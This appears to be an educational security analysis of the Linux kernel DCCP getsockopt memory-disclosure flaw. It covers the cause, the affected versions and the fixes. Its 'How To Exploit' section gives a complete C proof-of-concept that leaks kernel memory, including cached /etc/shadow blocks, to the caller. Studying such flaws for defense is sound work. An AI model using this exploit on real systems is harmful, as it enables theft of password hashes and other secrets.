Information Assurance
Bugtraq Analysis
Linux Kernel DCCP Memory Disclosure Vulnerability
back to bugtraq analyses page
|
The Problem:
Linux Kernel DCCP (Datagram Congestion Control Protocol) Memory Disclosure Vulnerability. The Linux kernel is susceptible to a locally exploitable flaw which may allow local users to steal data from the kernel memory. Cached disk blocks (e.g. etc/shadow) and tty buffers can be found in the resulting core dump.
Vulnerable Systems:
Linux Kernel Versions: >= 2.6.20 with DCCP support enabled.
What Could Have Prevented It:
Bounds checking on input to the _dccp_getsockopt() function...
The flaw exists in do_dccp_getsockopt() function in net/dccp/proto.c file:
static int do_dccp_getsockopt(struct sock *sk, int level, int optname,
char __user *optval, int __user *optlen)
...
if (get_user(len, optlen))
return -EFAULT;
if (len < sizeof(int))
return -EINVAL;
...
The above code doesn't check `len' variable for negative values.
Because of cast typing (len < sizeof(int)) is always true for
`len' values less than 0. This allows for an underflow to occur. After that copy_to_user() procedure is called:
if (put_user(len, optlen) || copy_to_user(optval, &val, len))
return -EFAULT;
How To Exploit:
#include
#include
#include
#include
#include
#include
#include
#define BUFSIZE 0x10000000
int main(int argc, char *argv[])
{
void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (!mem) {
printf("Cannot allocate mem\n");
return 1;
}
/* SOCK_DCCP, IPPROTO_DCCP */
int s = socket(PF_INET, 6, 33);
if (s == -1) {
fprintf(stderr, "socket failure!\n");
return 1;
}
int len = -1;
/* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */
//tries to copy -1 bytes into user-defined buffer: causes kernel-space data to be copied to the user supplied
//buffer until end-of kernel space (pagefault in kernel-mode occurs) is reached
int x = getsockopt(s, 269, 11, mem, &len);.
if (x == -1)
perror("SETSOCKOPT");
else
printf("SUCCESS\n");
write(1, mem, BUFSIZE);
return 0;
}
How To Prevent in the Future:
Remove dccp support from the installed linux kernel by removing dccp kernel modules etc.
Or create a simple patch for kernel sources that more carefully checks the input to the _dccp_getsockopt() function
|